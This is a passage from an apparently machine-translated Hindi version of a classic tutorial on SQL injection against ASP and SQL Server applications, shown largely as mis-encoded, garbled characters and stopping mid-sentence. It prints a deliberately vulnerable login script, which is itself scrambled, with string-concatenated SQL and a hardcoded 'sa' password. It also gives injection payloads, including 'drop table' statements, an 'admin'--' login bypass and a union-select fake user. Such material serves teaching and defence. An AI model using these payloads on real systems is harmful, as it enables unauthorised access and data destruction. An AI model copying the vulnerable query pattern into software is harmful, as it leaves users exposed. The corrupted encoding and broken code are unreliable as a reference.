рдЕрдиреБрд╡рд╛рджрдХ рдХрд╛ рдиреЛрдЯ
рдпрд╣ рдХрд╛рдо рдХреНрд░рд┐рд╕ рдПрдирд▓реЗ
рдПрдбрд╡рд╛рдВрд╕реНрдб рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдЗрди рдПрд╕рдХреНрдпреВрдПрд▓ рд╕рд░реНрд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдХрд╛рдо рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ
ред (
рдбрд╛рдпрд░реЗрдХреНрдЯ рдбрд╛рдЙрдирд▓реЛрдб рд▓рд┐рдВрдХ )
рдмрд╛рдж рдХреЗ рд▓реЗрдЦреЛрдВ рдореЗрдВ, рдпрджрд┐ рдЦрд╛рд▓реА рд╕рдордп рд╣реИ, рддреЛ рдЗрд╕ рд╣рд╕реНрддрд╛рдВрддрд░рдг рдХреЛ рдЕрдВрддрд┐рдо рд░реВрдк рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдкреАрдПрд╕ рдЕрдиреБрд╡рд╛рдж рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ред
рд▓реЗрдЦ рдХрд╛ рдореВрд▓ рд╢реАрд░реНрд╖рдХ: SQL рднрд╛рд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдиреНрдирдд SQL рдЗрдВрдЬреЗрдХреНрд╢рдиред
рдЕрдореВрд░реНрдд
рдпрд╣ рдЖрд▓реЗрдЦ рдкреНрд░рд╕рд┐рджреНрдз Microsoft рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реВрдЪрдирд╛ рд╕рд░реНрд╡рд░ / рд╕рдХреНрд░рд┐рдп рд╕рд░реНрд╡рд░ рдкреГрд╖реНрда / SQL рд╕рд░реНрд╡рд░ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдХреЗ рд▓рд┐рдП "SQL рдЗрдВрдЬреЗрдХреНрд╢рди" рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддрд╛ рд╣реИред рдпрд╣ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧреЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдбреЗрдЯрд╛ рд╕рддреНрдпрд╛рдкрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдЙрди рдбреЗрдЯрд╛рдмреЗрд╕реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдкрд░рд┐рдЪрдп
рд╕рдВрд░рдЪрд┐рдд рдХреНрд╡реЗрд░реА рднрд╛рд╖рд╛ (рдПрд╕рдХреНрдпреВрдПрд▓) рдПрдХ рд╕рдВрд░рдЪрд┐рдд рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред SQL рднрд╛рд╖рд╛ рдХреА рдХрдИ "рдмреЛрд▓рд┐рдпрд╛рдБ" рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдЬ, рдореВрд▓ рд░реВрдк рд╕реЗ, рд╡реЗ рд╕рднреА SQL-92 рдорд╛рдирдХ, рдЬрд▓реНрдж рд╕реЗ рдЬрд▓реНрдж ANSI рдорд╛рдирдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдмрдирд╛рдИ рдЧрдИ рд╣реИрдВред рдореБрдЦреНрдп SQL рдСрдкрд░реЗрд╢рди рдмреНрд▓реЙрдХ рдПрдХ рдХреНрд╡реЗрд░реА рд╣реИ, рдЬреЛ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд╣реИ рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рдкрд░рд┐рдгрд╛рдо (рдкрд░рд┐рдгрд╛рдо рд╕реЗрдЯ) рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд▓реМрдЯрд╛рддрд╛ рд╣реИред SQL рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпрд╛рдБ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдмрджрд▓ рд╕рдХрддреА рд╣реИрдВ (рдбреЗрдЯрд╛ рдкрд░рд┐рднрд╛рд╖рд╛ рднрд╛рд╖рд╛рдУрдВ рдХреЗ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ - DLL) рдФрд░ рдЙрдирдХреА рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдкреНрд░рдмрдВрдзрди (рдбреЗрдЯрд╛ рд╣реЗрд░рдлреЗрд░ рднрд╛рд╖рд╛рдУрдВ - рдбреАрдПрдордПрд▓ рдХреЗ рднрд╛рд╡реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред рдЗрд╕ рдкрддреНрд░ рдореЗрдВ, рд╣рдо рдЯреНрд░рд╛рдВрд╕реЗрдХреНрдЯ-рдПрд╕рдХреНрдпреВрдПрд▓ рдХреЛ рджреЗрдЦреЗрдВрдЧреЗ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдПрд╕рдХреНрдпреВрдПрд▓ рд╕рд░реНрд╡рд░ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
SQL рдЗрдВрдЬреЗрдХреНрд╢рди рддрдм рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ SQL рдХреЛрдб рдХреЛ рдХреНрд╡реЗрд░реА рдореЗрдВ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреНрд╡реЗрд░реА рдореЗрдВ рдкреЗрд╕реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдПрдХ рдирд┐рдпрдорд┐рдд SQL рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:
select id, forename, surname from authors
рдпрд╣ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ "рд▓реЗрдЦрдХ" рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рдХреЙрд▓рдо рд╕реЗ "рдЖрдИрдбреА", "рдлреЙрд░рдирд╛рдо" рдФрд░ "рдЙрдкрдирд╛рдо" рд▓реЗрддреА рд╣реИ рдФрд░ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд╕рднреА рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рд╡рд╛рдкрд╕ рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЪрдпрди рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ "рд▓реЗрдЦрдХ" рджреНрд╡рд╛рд░рд╛ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЗрд╕ рдХреНрд╡реЗрд░реА рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╢рд╛рдмреНрджрд┐рдХ рдХреЛ рдПрдХ рдПрдХрд▓ рдЙрджреНрдзрд░рдг рджреНрд╡рд╛рд░рд╛ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ "forename" рдФрд░ "surrname" рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдореВрд▓реНрдпреЛрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЬреЛрдбрд╝рдХрд░ рдЕрдкрдиреА SQL рдХреНрд╡реЗрд░реА рдмрдирд╛ рд╕рдХреЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:
<source lang="html"> Forename: jo'hn Surname: smith
рддрдм рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░реВрдк рд▓реЗрдЧреА:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
рдбреЗрдЯрд╛рдмреЗрд╕ рдРрд╕реЗ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдирд┐рдореНрди рддреНрд░реБрдЯрд┐ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧреА:
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'.
рддреНрд░реБрдЯрд┐ рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдПрдХрд▓ рдЙрджреНрдзрд░рдг рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╕реАрдорд╛рдВрдХрдХ рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдмрд░реНрдмрд╛рдж рдХрд░ рджреЗрдЧрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдбреЗрдЯрд╛рдмреЗрд╕ hn рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рддреНрд░реБрдЯрд┐ рд╣реЛрдЧреАред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдлрд╛рд░реНрдо рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рджрд░реНрдЬ рдХрд░рддрд╛ рд╣реИ:
Forename: jo'; drop table authors
рддрд╛рд▓рд┐рдХрд╛ "рд▓реЗрдЦрдХ" рд╣рдЯрд╛ рджреА рдЬрд╛рдПрдЧреА; рдРрд╕рд╛ рдХреНрдпреЛрдВ рд╣реЛрддрд╛ рд╣реИ рд╣рдо рдмрд╛рдж рдореЗрдВ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред
рдпрд╣ рдЖрдкрдХреЛ рдкреНрд░рддреАрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рд╣рдо рдПрдХрд▓ рдЙрджреНрдзрд░рдгреЛрдВ рдХреЛ рдЗрдирдкреБрдЯ рдлрд╝реЙрд░реНрдо рд╕реЗ рд╣рдЯрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ "рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд" рднреА рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕рд╕реЗ рд╣рдорд╛рд░реА рд╕рдорд╕реНрдпрд╛ рд╣рд▓ рд╣реЛ рд╕рдХрддреА рд╣реИред рдФрд░ рдЖрдк рд╕рд╣реА рд╣реЛрдВрдЧреЗ, рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЗ рд╕рдорд╛рдзрд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕ рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рдХреБрдЫ рд╕рдорд╕реНрдпрд╛рдПрдВ рд╣реИрдВред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ "рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕" рдирд╣реАрдВ рд╣реИрдВред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлреЙрд░реНрдо рдореЗрдВ рд▓реЗрдЦрдХ рдХреА "рдЖрдИрдбреА" рд╣реЛрдЧреА, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реЛрддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реА рдХреНрд╡реЗрд░реА рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддреА рд╣реИ:
select id, forename, surname from authors where id=1234
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкрдЯрд╛рдЦрд╛ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдбреЗрдЯрд╛ рдХреЗ рдмрд╛рдж рдХрд┐рд╕реА рднреА рдПрд╕рдХреНрдпреВрдПрд▓ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред SQL рдкреНрд░рд╢реНрдиреЛрдВ рдХреА рдЕрдиреНрдп рдХрд┐рд╕реНрдореЛрдВ рдореЗрдВ, рд╡рд┐рднрд┐рдиреНрди рд╕реАрдорд╛рдВрдХрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Microsoft Jet DBMS рдореЗрдВ, рд╕реАрдорд╛рдВрдХрдХ "#" рд╡рд░реНрдг рд╣реЛрдЧрд╛ред рджреВрд╕рд░реЗ, "рдмрдЪрдирд╛" рд╕рд┐рдВрдЧрд▓ рдХреЛрдЯреНрд╕ рдХреА рд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИред рд╣рдо рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдж рдореЗрдВ рдмрд╛рдд рдХрд░реЗрдВрдЧреЗред
рдпрд╣рд╛рдВ рдПрдХ рд╕рдХреНрд░рд┐рдп рд╕рд░реНрд╡рд░ рдкреЗрдЬ (ASP) рдЖрдзрд╛рд░рд┐рдд рд▓реЙрдЧ рдЗрди рдкреЗрдЬ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SQL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИред
рдпрд╣рд╛рдВ рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рд╡рд╛рд▓реЗ рдкреЗрдЬ рдХрд╛ рдХреЛрдб рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML>
рдиреАрдЪреЗ рдХреЛрдб (process_login.asp) рд╣реИ рдЬреЛ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреА рд╢реБрджреНрдзрддрд╛ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИред
<HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> </script> <script> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ){ var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); %> if (rso.EOF) { rso.close();
<FONT Face='tahoma' color='cc0000'> <H1> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> } else{ %> <% } Response.end return; Session("username") = "" + rso("username"); <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED
Welcome, Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } } cn.close(); Main(); %>
рднреЗрджреНрдпрддрд╛ "process_login.asp" рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИ, рдЬреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлреЙрд░реНрдо рдХрд╛ рдЕрдиреБрд░реЛрдз рдмрдирд╛рддрд╛ рд╣реИ:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ:
Username: '; drop table users
"рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛" рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХ рджреЗрдЧрд╛ред Transact-SQL рдореЗрдВ "-" рдХрд╛ рд╕рдВрдпреЛрдЬрди рдПрдХрд▓-рдкрдВрдХреНрддрд┐ рдЯрд┐рдкреНрдкрдгреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ ";" рдПрдХ рдкрдВрдХреНрддрд┐ рдХреЗ рдЕрдВрдд рдФрд░ рджреВрд╕рд░реЗ рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдЕрдиреБрд░реЛрдз рдореЗрдВ рджреЛ рд▓рдЧрд╛рддрд╛рд░ рдбреИрд╢ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдирд┐рд░реНрдорд╛рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рддрд╣рдд рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
Username: admin'--
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рджрд░реНрдЬ рдХрд░рдХреЗ, рдкрдЯрд╛рдЦрд╛ рдПрдХ рдХрд╛рд▓реНрдкрдирд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░ рд╕рдХреЗрдЧрд╛:
Username: ' union select 1, 'fictional_user', 'some_password', 1--
рдЗрд╕ рдкрджреНрдзрддрд┐ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдЖрд╡реЗрджрди "рд╡рд┐рд╢реНрд╡рд╛рд╕" рдХрд░реЗрдЧрд╛ рдХрд┐ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ рдбрдореА рдкрд░рд┐рдгрд╛рдо рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рд░рд┐рдХреЙрд░реНрдб рдХрд╛ рдПрдХ рд╕реЗрдЯ рд╣реИред
рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдЖрд╡рд┐рд╖реНрдХрд╛рд░рдХ рдбреЗрд╡рд┐рдб рд▓рд┐рдЪрдлреАрд▓реНрдб рд╣реИрдВ, рдЬреЛ рдкреИрда рдкрд░реАрдХреНрд╖рдг (рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ) рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдПрдХ рд╢реЛрдзрдХрд░реНрддрд╛ рд╣реИрдВред рдбреЗрд╡рд┐рдб рдиреЗ рдмрд╛рдж рдореЗрдВ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдПрдХ рдХрд╛рдо рд▓рд┐рдЦрд╛ [1], рдЬрд┐рд╕реЗ рдХрдИ рдЕрдиреНрдп рд▓реЗрдЦрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрджреНрдзреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЙрдирдХрд╛ рдХрд╛рдо рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддрдВрддреНрд░ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ - "рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢" рддрдХрдиреАрдХред рдЕрдкрдиреЗ рдХрд╛рдо рдореЗрдВ, рд╡рд╣ рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдкрд╛рдардХреЛрдВ рдХреЛ рд╕рдордЭрд╛рддреЗ рд╣реИрдВ, рдФрд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреА рдЕрдкрдиреА рд╕рдордЭ рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рдкреНрд░реЗрд░рдгрд╛ рджреЗрддреЗ рд╣реИрдВред
рд╕рдлрд▓ рдбреЗрдЯрд╛ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рдФрд░ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рд╡рд╣ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реЗ "рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ" рдХреА рддрд╛рд▓рд┐рдХрд╛ рдирд┐рдореНрди рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдИ рдЧрдИ рдереА:
create table users( id int, username varchar(255), password varchar(255), privs int )
рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff )
рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░рд╛ рд╣реИрдХрд░ рдореЗрдЬ рдкрд░ рдЕрдкрдирд╛ рд░рд┐рдХреЙрд░реНрдб рдбрд╛рд▓рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╡рд╣ рд╕рдлрд▓ рд╣реЛрдЧрд╛ рдпрджрд┐ рд╡рд╣ рдЗрд╕рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рд╡рд╣ рд╕рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рднреА рдирд┐рдЬреА рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдореВрд▓реНрдп рд╕рдордЭ рд╕реЗ рдмрд╛рд╣рд░ рд░рд╣реЗрдЧрд╛ред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рддрд╛ 